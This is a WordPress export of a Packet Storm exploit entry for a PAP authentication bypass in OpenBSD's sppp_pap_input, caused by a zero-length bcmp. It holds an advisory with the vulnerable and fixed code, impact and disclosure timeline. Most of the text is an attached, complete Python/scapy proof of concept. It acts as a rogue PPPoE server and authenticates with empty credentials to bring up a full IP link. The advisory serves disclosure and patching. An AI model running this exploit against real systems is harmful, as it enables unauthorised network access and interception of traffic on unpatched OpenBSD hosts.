{"id":64857,"date":"2026-06-22T14:36:17","date_gmt":"2026-06-22T14:36:17","guid":{"rendered":"https:\/\/zero.redgem.net\/?p=64857"},"modified":"2026-06-22T14:36:17","modified_gmt":"2026-06-22T14:36:17","slug":"openbsd-sppppapinput-pap-authentication-bypass","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=64857","title":{"rendered":"\ud83d\udcc4 OpenBSD sppp_pap_input PAP Authentication Bypass_PACKETSTORM:223967"},"content":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-06-22T18:40:11&#8243;,&#8221;description&#8221;:&#8221;OpenBSD suffers from a PAP authentication bypass vulnerability via a zero-length bcmp. All versions through 7.6 are affected&#8230;&#8221;,&#8221;published&#8221;:&#8221;2026-06-22T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2026-06-22T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 OpenBSD sppp_pap_input PAP Authentication Bypass&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:223967&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[],&#8221;sourceData&#8221;:&#8221;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n    OpenBSD sppp_pap_input: PAP Authentication Bypass via Zero-Length bcmp\\n    &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n    \\n    Affected:\u00a0 OpenBSD all versions through 7.6 (fixed in -current)\\n    Vendor:\u00a0 \u00a0 OpenBSD\\n    Severity:\u00a0 High\\n    Reporter:\u00a0 Argus\\n    Date:\u00a0 \u00a0 \u00a0 2026-06-16\\n    \\n    \\n    1. SUMMARY\\n    ==========\\n    \\n    The sppp_pap_input() function in sys\/net\/if_spppsubr.c uses the\\n    attacker-controlled name_len and passwd_len fields from the incoming\\n    PAP frame directly as the comparison length for bcmp() against\\n    configured credentials.\\n    \\n    When both fields are set to zero, bcmp() returns 0 unconditionally\\n    (bcmp with length 0 always succeeds). The existing upper-bound guard\\n    (\\u003e AUTHMAXLEN) allows zero through. As a result, a PAP Auth-Request\\n    with name_len=0 and passwd_len=0 passes credential validation and\\n    triggers a PAP_ACK, authenticating the peer without any knowledge of\\n    the configured username or password.\\n    \\n    A secondary kernel heap over-read exists via the same root cause:\\n    supplying a name_len larger than the allocation of the stored\\n    credential causes bcmp to read past the heap object.\\n    \\n    \\n    2. AFFECTED VERSIONS\\n    ====================\\n    \\n    The bcmp comparison pattern was introduced with the original sppp\\n    code import on 1999-07-01 (commit bda3414e, \\&#8221;lmc driver; ported by\\n    chris@dqc.org\\&#8221;). The zero-length bypass has been exploitable since\\n    that date.\\n    \\n    In February 2009 (commit 9c2f3d605fc), auth credential fields were\\n    changed from fixed-size struct arrays to dynamically allocated\\n    malloc(strlen()+1), and the bounds check was changed to\\n    \\u003e AUTHMAXLEN (256). This decoupled the allocation size from the\\n    comparison bound, enabling the heap over-read.\\n    \\n    Confirmed against OpenBSD 7.6 (amd64) in QEMU\/KVM.\\n    \\n    \\n    3. DETAILS\\n    ==========\\n    \\n    Vulnerable code (sys\/net\/if_spppsubr.c, sppp_pap_input):\\n    \\n    \u00a0 if (name_len \\u003e AUTHMAXLEN ||\\n    \u00a0 \u00a0 \u00a0 passwd_len \\u003e AUTHMAXLEN ||\\n    \u00a0 \u00a0 \u00a0 bcmp(name, sp-\\u003ehisauth.name, name_len) != 0 ||\\n    \u00a0 \u00a0 \u00a0 bcmp(passwd, sp-\\u003ehisauth.secret, passwd_len) != 0) {\\n    \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \/* authentication failed *\/\\n    \\n    name_len and passwd_len are parsed directly from the PAP frame\\n    payload. bcmp(a, b, 0) always returns 0. The \\u003e AUTHMAXLEN guard\\n    rejects values above 255 but permits zero.\\n    \\n    The CHAP handler in the same file already had the correct pattern\\n    with an exact-length pre-check:\\n    \\n    \u00a0 if (name_len != strlen(sp-\\u003ehisauth.name)\\n    \u00a0 \u00a0 \u00a0 || bcmp(name, sp-\\u003ehisauth.name, name_len) != 0) {\\n    \\n    The PAP handler never received the same treatment.\\n    \\n    \\n    4. REACHABILITY\\n    ===============\\n    \\n    Both bugs are reachable via the PPPoE data path:\\n    \\n    \u00a0 pppoe_data_input -\\u003e pppoeintr -\\u003e sppp_input -\\u003e sppp_pap_input\\n    \\n    Precondition: the target system must be configured as a PAP\\n    authenticator (e.g. ifconfig pppoe0 peerproto pap peername \\u003cx\\u003e\\n    peerkey \\u003cy\\u003e). The attacker does not need to know any credentials.\\n    \\n    \\n    5. IMPACT\\n    =========\\n    \\n    An attacker on the same network segment can authenticate to a PPPoE\\n    interface without credentials, establishing a full network-layer\\n    link (LCP -\\u003e PAP -\\u003e IPCP -\\u003e IP).\\n    \\n    When OpenBSD acts as a PPPoE client with mutual authentication, a\\n    rogue server in the same broadcast domain can exploit the bypass to\\n    impersonate a legitimate server, causing OpenBSD to route traffic\\n    through the attacker&#8217;s endpoint.\\n    \\n    \\n    6. PROOF OF CONCEPT\\n    ===================\\n    \\n    A Python PoC acts as a PPPoE server, completes discovery and\\n    LCP negotiation, then sends a PAP Auth-Request with name_len=0 and\\n    passwd_len=0.\\n    \\n    Result:\\n    \\n    \u00a0 PAP_ACK received with empty credentials\\n    \u00a0 VM accepted name_len=0, passwd_len=0 as valid auth.\\n    \\n    \u00a0 IPCP Config-Ack received &#8211; link is UP\\n    \u00a0 ICMP echo reply from 10.0.0.1\\n    \\n    \u00a0 FULL LINK ESTABLISHED\\n    \\n    PoC and full technical report:\\n    \u00a0\u00a0https:\/\/blog.argus-systems.ai\/blog\/openbsd-pap-27-year-auth-bypass.html\\n    \\n    \\n    7. FIX\\n    ======\\n    \\n    Fixed in -current by mvs on 2026-06-14. The fix mirrors the CHAP\\n    handler&#8217;s exact-length pre-check:\\n    \\n    \u00a0 if (name_len != strlen(sp-\\u003ehisauth.name) ||\\n    \u00a0 \u00a0 \u00a0 passwd_len != strlen(sp-\\u003ehisauth.secret) ||\\n    \u00a0 \u00a0 \u00a0 bcmp(name, sp-\\u003ehisauth.name, name_len) != 0 ||\\n    \u00a0 \u00a0 \u00a0 bcmp(passwd, sp-\\u003ehisauth.secret, passwd_len) != 0) {\\n    \\n    Fix commit:\\n    https:\/\/github.com\/openbsd\/src\/commit\/076e2b1c1fc4ac0883a72d3544131ad5cee7adf8\\n    \\n    \\n    8. TIMELINE\\n    ===========\\n    \\n    \u00a0 2026-06-12\u00a0 Reported to security@openbsd.org with PoC\\n    \u00a0 2026-06-14\u00a0 Fix committed to -current\\n    \\n    \\n    9. CREDIT\\n    =========\\n    \\n    Discovered and reported by Argus (https:\/\/byteray.co.uk\/).\\n    \\n    \\n    10. REFERENCES\\n    ==============\\n    \\n    Advisory:\\n    \u00a0 https:\/\/pop.argus-systems.ai\/advisory\/adv-038.html\\n    \\n    Blog post:\\n    https:\/\/blog.argus-systems.ai\/blog\/openbsd-pap-27-year-auth-bypass.html\\n    \\n    Proof of concept:\\n    \u00a0 https:\/\/pop.argus-systems.ai\/attachments\/poc-001-pap-bypass.py\\n    \\n    &#8212; packet storm attached poc &#8212;\\n    \\n    #!\/usr\/bin\/env python3\\n    \\&#8221;\\&#8221;\\&#8221;\\n    PoC for report-001: PAP authentication bypass in sppp_pap_input (CWE-1023).\\n    \\n    This script acts as a PPPoE SERVER. The OpenBSD VM&#8217;s pppoe0 is a PPPoE client\\n    with peerproto=pap, meaning it demands that the peer (us) authenticate via PAP.\\n    After LCP completes, we send a PAP Auth-Request with name_len=0, passwd_len=0.\\n    \\n    At if_spppsubr.c:3816, bcmp(name, sp-\\u003ehisauth.name, 0) returns 0 regardless of\\n    the configured secret. The fail-branch is never taken, so PAP_ACK is sent and\\n    the link opens without valid credentials.\\n    \\n    After PAP_ACK the PoC completes IPCP and sends an ICMP echo to confirm full\\n    network-layer access through the rogue server.\\n    \\n    OpenBSD VM setup (as root):\\n      ifconfig pppoe0 create\\n      ifconfig pppoe0 pppoedev vio0\\n      ifconfig pppoe0 peerproto pap peername \\&#8221;testuser\\&#8221; peerkey \\&#8221;hunter2\\&#8221;\\n      ifconfig pppoe0 10.0.0.1 10.0.0.2 netmask 255.255.255.255 up\\n    \\n    Usage:\\n      sudo python3 poc-001-pap-bypass.py [&#8211;iface tap0]\\n    \\&#8221;\\&#8221;\\&#8221;\\n    \\n    import socket\\n    import struct\\n    import sys\\n    import argparse\\n    import random\\n    import time\\n    from scapy.all import (\\n        Ether, Raw, IP, ICMP, sendp, get_if_hwaddr, get_if_list, AsyncSniffer\\n    )\\n    \\n    ETH_DISC = 0x8863\\n    ETH_SESS = 0x8864\\n    \\n    PADI = 0x09\\n    PADO = 0x07\\n    PADR = 0x19\\n    PADS = 0x65\\n    \\n    TAG_SVC_NAME  = 0x0101\\n    TAG_AC_NAME   = 0x0102\\n    TAG_HOST_UNIQ = 0x0103\\n    \\n    PPP_LCP  = 0xc021\\n    PPP_PAP  = 0xc023\\n    PPP_IPCP = 0x8021\\n    PPP_IP   = 0x0021\\n    \\n    LCP_CONF_REQ = 1\\n    LCP_CONF_ACK = 2\\n    LCP_CONF_NAK = 3\\n    LCP_CONF_REJ = 4\\n    \\n    OPT_MAGIC = 0x05\\n    \\n    PAP_REQ = 1\\n    PAP_ACK = 2\\n    PAP_NAK = 3\\n    \\n    IPCP_CONF_REQ = 1\\n    IPCP_CONF_ACK = 2\\n    IPCP_CONF_NAK = 3\\n    IPCP_CONF_REJ = 4\\n    IPCP_OPT_ADDR = 3\\n    \\n    PING_ID = 0x1337\\n    \\n    \\n    # packet builders\\n    \\n    def pppoe_disc(src_mac, dst_mac, code, session_id, tags_bytes):\\n        hdr = struct.pack(&#8216;\\u003eBBHH&#8217;, 0x11, code, session_id, len(tags_bytes))\\n        return Ether(src=src_mac, dst=dst_mac, type=ETH_DISC) \/ Raw(hdr + tags_bytes)\\n    \\n    def tag(t, value=b&#8221;):\\n        return struct.pack(&#8216;\\u003eHH&#8217;, t, len(value)) + value\\n    \\n    def pppoe_sess(src_mac, dst_mac, session_id, ppp_proto, payload):\\n        pppoe_hdr = struct.pack(&#8216;\\u003eBBHH&#8217;, 0x11, 0x00, session_id, len(payload) + 2)\\n        ppp_hdr   = struct.pack(&#8216;\\u003eH&#8217;, ppp_proto)\\n        return Ether(src=src_mac, dst=dst_mac, type=ETH_SESS) \/ Raw(pppoe_hdr + ppp_hdr + payload)\\n    \\n    def lcp_pkt(code, ident, options=b&#8221;):\\n        return struct.pack(&#8216;\\u003eBBH&#8217;, code, ident, 4 + len(options)) + options\\n    \\n    def lcp_opt(opt_type, value):\\n        return struct.pack(&#8216;\\u003eBB&#8217;, opt_type, 2 + len(value)) + value\\n    \\n    def pap_req(ident, name=b&#8221;, password=b&#8221;):\\n        length = 6 + len(name) + len(password)\\n        return (struct.pack(&#8216;\\u003eBBH&#8217;, PAP_REQ, ident, length) +\\n                struct.pack(&#8216;\\u003eB&#8217;, len(name)) + name +\\n                struct.pack(&#8216;\\u003eB&#8217;, len(password)) + password)\\n    \\n    def ipcp_pkt(code, ident, options=b&#8221;):\\n        return struct.pack(&#8216;\\u003eBBH&#8217;, code, ident, 4 + len(options)) + options\\n    \\n    def ipcp_opt_addr(ip_str):\\n        return struct.pack(&#8216;\\u003eBB&#8217;, IPCP_OPT_ADDR, 6) + socket.inet_aton(ip_str)\\n    \\n    \\n    # parsers\\n    \\n    def parse_pppoe_disc(raw):\\n        if len(raw) \\u003c 6:\\n            return None\\n        ver_type, code, session_id, length = struct.unpack(&#8216;\\u003eBBHH&#8217;, raw[:6])\\n        tags = {}\\n        pos = 6\\n        while pos + 4 \\u003c= len(raw):\\n            t, l = struct.unpack(&#8216;\\u003eHH&#8217;, raw[pos:pos+4])\\n            v = raw[pos+4:pos+4+l]\\n            tags[t] = v\\n            pos += 4 + l\\n        return code, session_id, tags\\n    \\n    def parse_pppoe_sess(raw):\\n        if len(raw) \\u003c 8:\\n            return None\\n        _, _, session_id, _ = struct.unpack(&#8216;\\u003eBBHH&#8217;, raw[:6])\\n        ppp_proto = struct.unpack(&#8216;\\u003eH&#8217;, raw[6:8])[0]\\n        return session_id, ppp_proto, raw[8:]\\n    \\n    def parse_lcp(payload):\\n        if len(payload) \\u003c 4:\\n            return None\\n        code, ident, length = struct.unpack(&#8216;\\u003eBBH&#8217;, payload[:4])\\n        return code, ident, payload[4:length]\\n    \\n    \\n    # main state machine\\n    \\n    def run(iface, our_ip=\\&#8221;10.0.0.2\\&#8221;, peer_ip=\\&#8221;10.0.0.1\\&#8221;, timeout=300):\\n        src_mac    = get_if_hwaddr(iface)\\n        magic      = random.randint(1, 0xffffffff)\\n        session_id = random.randint(1, 0xfffe)\\n    \\n        state = {\\n            &#8216;phase&#8217;: &#8216;WAIT_PADI&#8217;,\\n            &#8216;client_mac&#8217;: None,\\n            &#8216;our_lcp_acked&#8217;:  False,\\n            &#8216;their_lcp_acked&#8217;: False,\\n            &#8216;pap_sent&#8217;: False,\\n            &#8216;our_ipcp_acked&#8217;:  False,\\n            &#8216;their_ipcp_acked&#8217;: False,\\n            &#8216;ipcp_sent&#8217;: False,\\n            &#8216;ping_sent&#8217;: False,\\n            &#8216;lcp_id&#8217;: 1,\\n            &#8216;pap_id&#8217;: 1,\\n            &#8216;ipcp_id&#8217;: 1,\\n        }\\n        result = {&#8216;done&#8217;: False}\\n    \\n        def send_ipcp_req():\\n            opts = ipcp_opt_addr(our_ip)\\n            sendp(pppoe_sess(src_mac, state[&#8216;client_mac&#8217;], session_id, PPP_IPCP,\\n                              ipcp_pkt(IPCP_CONF_REQ, state[&#8216;ipcp_id&#8217;], opts)),\\n                  iface=iface, verbose=False)\\n            print(f\\&#8221;  IPCP Config-Request sent (addr={our_ip})\\&#8221;)\\n    \\n        def maybe_send_ping():\\n            if state[&#8216;our_ipcp_acked&#8217;] and state[&#8216;their_ipcp_acked&#8217;] and not state[&#8216;ping_sent&#8217;]:\\n                state[&#8216;ping_sent&#8217;] = True\\n                state[&#8216;phase&#8217;] = &#8216;UP&#8217;\\n                print(f\\&#8221;  IPCP open \u2014 link is UP (us={our_ip} peer={peer_ip})\\&#8221;)\\n                print()\\n                print(f\\&#8221;  Sending ICMP echo to {peer_ip}&#8230;\\&#8221;)\\n                raw_ip = bytes(IP(src=our_ip, dst=peer_ip, ttl=64) \/\\n                               ICMP(type=8, code=0, id=PING_ID, seq=1))\\n                sendp(pppoe_sess(src_mac, state[&#8216;client_mac&#8217;], session_id, PPP_IP, raw_ip),\\n                      iface=iface, verbose=False)\\n    \\n        def handle(pkt):\\n            if result[&#8216;done&#8217;]:\\n                return\\n    \\n            raw     = bytes(pkt)\\n            eth_src = pkt.src if hasattr(pkt, &#8216;src&#8217;) else None\\n            etype   = pkt.type if hasattr(pkt, &#8216;type&#8217;) else 0\\n            payload = raw[14:]\\n    \\n            # PPPoE Discovery\\n            if etype == ETH_DISC:\\n                parsed = parse_pppoe_disc(payload)\\n                if not parsed:\\n                    return\\n                code, sid, tags = parsed\\n    \\n                if code == PADI and state[&#8216;phase&#8217;] == &#8216;WAIT_PADI&#8217;:\\n                    print(f\\&#8221;  PADI from {eth_src}\\&#8221;)\\n                    state[&#8216;client_mac&#8217;] = eth_src\\n                    state[&#8216;phase&#8217;] = &#8216;WAIT_PADR&#8217;\\n                    pado_tags = (tag(TAG_SVC_NAME) +\\n                                 tag(TAG_AC_NAME, b&#8217;poc-ac&#8217;) +\\n                                 tag(TAG_HOST_UNIQ, tags.get(TAG_HOST_UNIQ, b&#8221;)))\\n                    sendp(pppoe_disc(src_mac, eth_src, PADO, 0, pado_tags),\\n                          iface=iface, verbose=False)\\n                    print(\\&#8221;  PADO sent\\&#8221;)\\n    \\n                elif code == PADR and state[&#8216;phase&#8217;] == &#8216;WAIT_PADR&#8217;:\\n                    if eth_src != state[&#8216;client_mac&#8217;]:\\n                        return\\n                    print(\\&#8221;  PADR received\\&#8221;)\\n                    state[&#8216;phase&#8217;] = &#8216;LCP&#8217;\\n                    pads_tags = (tag(TAG_SVC_NAME) +\\n                                 tag(TAG_HOST_UNIQ, tags.get(TAG_HOST_UNIQ, b&#8221;)))\\n                    sendp(pppoe_disc(src_mac, eth_src, PADS, session_id, pads_tags),\\n                          iface=iface, verbose=False)\\n                    print(f\\&#8221;  PADS sent session_id=0x{session_id:04x}\\&#8221;)\\n                    opts = lcp_opt(OPT_MAGIC, struct.pack(&#8216;\\u003eI&#8217;, magic))\\n                    sendp(pppoe_sess(src_mac, eth_src, session_id, PPP_LCP,\\n                                      lcp_pkt(LCP_CONF_REQ, state[&#8216;lcp_id&#8217;], opts)),\\n                          iface=iface, verbose=False)\\n                    print(f\\&#8221;  LCP Config-Request sent (magic=0x{magic:08x})\\&#8221;)\\n    \\n            # PPPoE Session\\n            elif etype == ETH_SESS and state[&#8216;phase&#8217;] not in (&#8216;WAIT_PADI&#8217;, &#8216;WAIT_PADR&#8217;):\\n                parsed = parse_pppoe_sess(payload)\\n                if not parsed:\\n                    return\\n                sid, proto, ppp_payload = parsed\\n                if sid != session_id:\\n                    return\\n    \\n                # LCP\\n                if proto == PPP_LCP and state[&#8216;phase&#8217;] in (&#8216;LCP&#8217;, &#8216;AUTH&#8217;):\\n                    lcp = parse_lcp(ppp_payload)\\n                    if not lcp:\\n                        return\\n                    code, ident, options = lcp\\n    \\n                    if code == LCP_CONF_REQ:\\n                        auth_proto = None\\n                        pos = 0\\n                        while pos + 2 \\u003c= len(options):\\n                            ot, ol = options[pos], options[pos+1]\\n                            if ol \\u003c 2:\\n                                break\\n                            if ot == 0x03 and ol \\u003e= 4:\\n                                auth_proto = struct.unpack(&#8216;\\u003eH&#8217;, options[pos+2:pos+4])[0]\\n                            pos += ol\\n                        auth_str = (f\\&#8221; auth=0x{auth_proto:04x}\\&#8221; if auth_proto\\n                                    else \\&#8221; (no auth option)\\&#8221;)\\n                        print(f\\&#8221;  LCP Config-Request from client (id={ident}){auth_str}, \\&#8221;\\n                              \\&#8221;sending Ack\\&#8221;)\\n                        sendp(pppoe_sess(src_mac, state[&#8216;client_mac&#8217;], session_id, PPP_LCP,\\n                                         lcp_pkt(LCP_CONF_ACK, ident, options)),\\n                              iface=iface, verbose=False)\\n                        state[&#8216;their_lcp_acked&#8217;] = True\\n    \\n                    elif code == LCP_CONF_ACK:\\n                        print(f\\&#8221;  LCP Config-Ack received (id={ident})\\&#8221;)\\n                        state[&#8216;our_lcp_acked&#8217;] = True\\n    \\n                    elif code in (LCP_CONF_NAK, LCP_CONF_REJ):\\n                        print(f\\&#8221;  LCP Config-Nak\/Rej (id={ident}) \u2014 resending minimal config\\&#8221;)\\n                        state[&#8216;lcp_id&#8217;] += 1\\n                        opts = lcp_opt(OPT_MAGIC, struct.pack(&#8216;\\u003eI&#8217;, magic))\\n                        sendp(pppoe_sess(src_mac, state[&#8216;client_mac&#8217;], session_id, PPP_LCP,\\n                                         lcp_pkt(LCP_CONF_REQ, state[&#8216;lcp_id&#8217;], opts)),\\n                              iface=iface, verbose=False)\\n    \\n                    if (state[&#8216;our_lcp_acked&#8217;] and state[&#8216;their_lcp_acked&#8217;]\\n                            and not state[&#8216;pap_sent&#8217;]):\\n                        state[&#8216;phase&#8217;] = &#8216;AUTH&#8217;\\n                        state[&#8216;pap_sent&#8217;] = True\\n                        print()\\n                        print(\\&#8221;  LCP open \u2014 waiting for OpenBSD to enter \\&#8221;\\n                              \\&#8221;PHASE_AUTHENTICATE&#8230;\\&#8221;)\\n                        time.sleep(0.5)\\n                        print(\\&#8221;  Sending PAP Auth-Request with name_len=0, passwd_len=0\\&#8221;)\\n                        sendp(pppoe_sess(src_mac, state[&#8216;client_mac&#8217;], session_id, PPP_PAP,\\n                                         pap_req(state[&#8216;pap_id&#8217;])),\\n                              iface=iface, verbose=False)\\n    \\n                # PAP\\n                elif proto == PPP_PAP and state[&#8216;phase&#8217;] == &#8216;AUTH&#8217;:\\n                    if len(ppp_payload) \\u003c 4:\\n                        return\\n                    code, ident = ppp_payload[0], ppp_payload[1]\\n    \\n                    if code == PAP_ACK:\\n                        print()\\n                        print(\\&#8221; PAP_ACK received with empty credentials\\&#8221;)\\n                        print(\\&#8221;   VM accepted name_len=0, passwd_len=0 as valid auth.\\&#8221;)\\n                        print()\\n                        state[&#8216;phase&#8217;] = &#8216;IPCP&#8217;\\n                        state[&#8216;ipcp_sent&#8217;] = True\\n                        send_ipcp_req()\\n    \\n                    elif code == PAP_NAK:\\n                        print()\\n                        print(\\&#8221; NOT BYPASSED \u2014 PAP_NAK received\\&#8221;)\\n                        result[&#8216;done&#8217;] = True\\n    \\n                # IPCP\\n                elif proto == PPP_IPCP and state[&#8216;phase&#8217;] in (&#8216;IPCP&#8217;, &#8216;UP&#8217;):\\n                    if len(ppp_payload) \\u003c 4:\\n                        return\\n                    code, ident = ppp_payload[0], ppp_payload[1]\\n                    length = struct.unpack(&#8216;\\u003eH&#8217;, ppp_payload[2:4])[0]\\n                    options = ppp_payload[4:length]\\n    \\n                    if code == IPCP_CONF_REQ:\\n                        print(f\\&#8221;  IPCP Config-Request from VM (id={ident}), sending Ack\\&#8221;)\\n                        sendp(pppoe_sess(src_mac, state[&#8216;client_mac&#8217;], session_id, PPP_IPCP,\\n                                         ipcp_pkt(IPCP_CONF_ACK, ident, options)),\\n                              iface=iface, verbose=False)\\n                        state[&#8216;their_ipcp_acked&#8217;] = True\\n                        maybe_send_ping()\\n    \\n                    elif code == IPCP_CONF_ACK:\\n                        print(f\\&#8221;  IPCP Config-Ack received (id={ident})\\&#8221;)\\n                        state[&#8216;our_ipcp_acked&#8217;] = True\\n                        maybe_send_ping()\\n    \\n                    elif code in (IPCP_CONF_NAK, IPCP_CONF_REJ):\\n                        # Use suggested address from NAK if provided\\n                        new_ip = our_ip\\n                        if code == IPCP_CONF_NAK and len(options) \\u003e= 6:\\n                            if options[0] == IPCP_OPT_ADDR and options[1] == 6:\\n                                new_ip = socket.inet_ntoa(options[2:6])\\n                        print(f\\&#8221;  IPCP Config-Nak\/Rej \u2014 retrying with addr={new_ip}\\&#8221;)\\n                        state[&#8216;ipcp_id&#8217;] += 1\\n                        opts = ipcp_opt_addr(new_ip)\\n                        sendp(pppoe_sess(src_mac, state[&#8216;client_mac&#8217;], session_id, PPP_IPCP,\\n                                         ipcp_pkt(IPCP_CONF_REQ, state[&#8216;ipcp_id&#8217;], opts)),\\n                              iface=iface, verbose=False)\\n    \\n                # IP (ping reply)\\n                elif proto == PPP_IP and state[&#8216;phase&#8217;] == &#8216;UP&#8217;:\\n                    try:\\n                        ip = IP(ppp_payload)\\n                        if ip.proto == 1:\\n                            icmp = ip[ICMP]\\n                            if icmp.type == 0 and icmp.id == PING_ID:\\n                                print(f\\&#8221;  ICMP echo reply from {ip.src}\\&#8221;)\\n                                print()\\n                                print(\\&#8221; FULL LINK ESTABLISHED\\&#8221;)\\n                                result[&#8216;done&#8217;] = True\\n                    except Exception:\\n                        pass\\n    \\n        sniffer = AsyncSniffer(\\n            iface=iface, timeout=timeout,\\n            lfilter=lambda p: p.haslayer(&#8216;Ether&#8217;) and\\n                              p[&#8216;Ether&#8217;].type in (ETH_DISC, ETH_SESS) and\\n                              p[&#8216;Ether&#8217;].src != src_mac,\\n            prn=handle\\n        )\\n        sniffer.start()\\n        print(f\\&#8221;Listening on {iface} for PPPoE client (PADI)&#8230; (timeout={timeout}s)\\&#8221;)\\n    \\n        sniffer.join(timeout=timeout)\\n    \\n        if not result[&#8216;done&#8217;]:\\n            print(\\&#8221;\\\\nTimeout.\\&#8221;)\\n            phase = state[&#8216;phase&#8217;]\\n            if phase == &#8216;WAIT_PADI&#8217;:\\n                print(\\&#8221;  No PADI received.\\&#8221;)\\n            elif phase == &#8216;WAIT_PADR&#8217;:\\n                print(\\&#8221;  Got PADI\/sent PADO but no PADR.\\&#8221;)\\n            elif phase == &#8216;LCP&#8217;:\\n                print(f\\&#8221;  Stuck in LCP. our={state[&#8216;our_lcp_acked&#8217;]} \\&#8221;\\n                      f\\&#8221;their={state[&#8216;their_lcp_acked&#8217;]}\\&#8221;)\\n            elif phase == &#8216;AUTH&#8217;:\\n                print(\\&#8221;  LCP open but no PAP response.\\&#8221;)\\n            elif phase == &#8216;IPCP&#8217;:\\n                print(f\\&#8221;  PAP bypassed but stuck in IPCP. \\&#8221;\\n                      f\\&#8221;our={state[&#8216;our_ipcp_acked&#8217;]} their={state[&#8216;their_ipcp_acked&#8217;]}\\&#8221;)\\n            elif phase == &#8216;UP&#8217;:\\n                print(\\&#8221;  IPCP open but no ICMP reply.\\&#8221;)\\n    \\n    \\n    def main():\\n        parser = argparse.ArgumentParser()\\n        parser.add_argument(\\&#8221;&#8211;iface\\&#8221;,    default=\\&#8221;tap0\\&#8221;)\\n        parser.add_argument(\\&#8221;&#8211;our-ip\\&#8221;,  default=\\&#8221;10.0.0.2\\&#8221;)\\n        parser.add_argument(\\&#8221;&#8211;peer-ip\\&#8221;, default=\\&#8221;10.0.0.1\\&#8221;)\\n        parser.add_argument(\\&#8221;&#8211;timeout\\&#8221;, default=300, type=int,\\n                            help=\\&#8221;seconds to wait for PADI (default: 300)\\&#8221;)\\n        args = parser.parse_args()\\n    \\n        if args.iface not in get_if_list():\\n            print(f\\&#8221;ERROR: interface {args.iface} not found\\&#8221;, file=sys.stderr)\\n            sys.exit(1)\\n    \\n        run(args.iface, args.our_ip, args.peer_ip, args.timeout)\\n    \\n    \\n    if __name__ == \\&#8221;__main__\\&#8221;:\\n        main()&#8221;,&#8221;sourceHref&#8221;:&#8221;https:\/\/packetstorm.news\/download\/223967&#8243;,&#8221;cvss&#8221;:{&#8220;score&#8221;:0,&#8221;severity&#8221;:&#8221;NONE&#8221;,&#8221;vector&#8221;:&#8221;NONE&#8221;,&#8221;version&#8221;:&#8221;NONE&#8221;},&#8221;cvss2&#8243;:{},&#8221;cvss3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;,&#8221;cvssV3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;}},&#8221;href&#8221;:&#8221;https:\/\/packetstorm.news\/files\/id\/223967\/&#8221;,&#8221;category_name&#8221;:&#8221;Exploit&#8221;,&#8221;post_link&#8221;:&#8221;&#8221;,&#8221;product&#8221;:&#8221;&#8221;,&#8221;version&#8221;:&#8221;&#8221;,&#8221;vendor&#8221;:&#8221;&#8221;,&#8221;ai_description&#8221;:&#8221;&#8221;,&#8221;ai_severity&#8221;:&#8221;&#8221;,&#8221;ai_vendor&#8221;:&#8221;&#8221;,&#8221;ai_product&#8221;:&#8221;&#8221;,&#8221;ai_version&#8221;:&#8221;&#8221;,&#8221;ai_score&#8221;:0}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-06-22T18:40:11&#8243;,&#8221;description&#8221;:&#8221;OpenBSD suffers from a PAP authentication bypass vulnerability via a zero-length bcmp. All versions through 7.6 are affected&#8230;&#8221;,&#8221;published&#8221;:&#8221;2026-06-22T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2026-06-22T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 OpenBSD sppp_pap_input PAP Authentication Bypass&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:223967&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[],&#8221;sourceData&#8221;:&#8221;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n OpenBSD 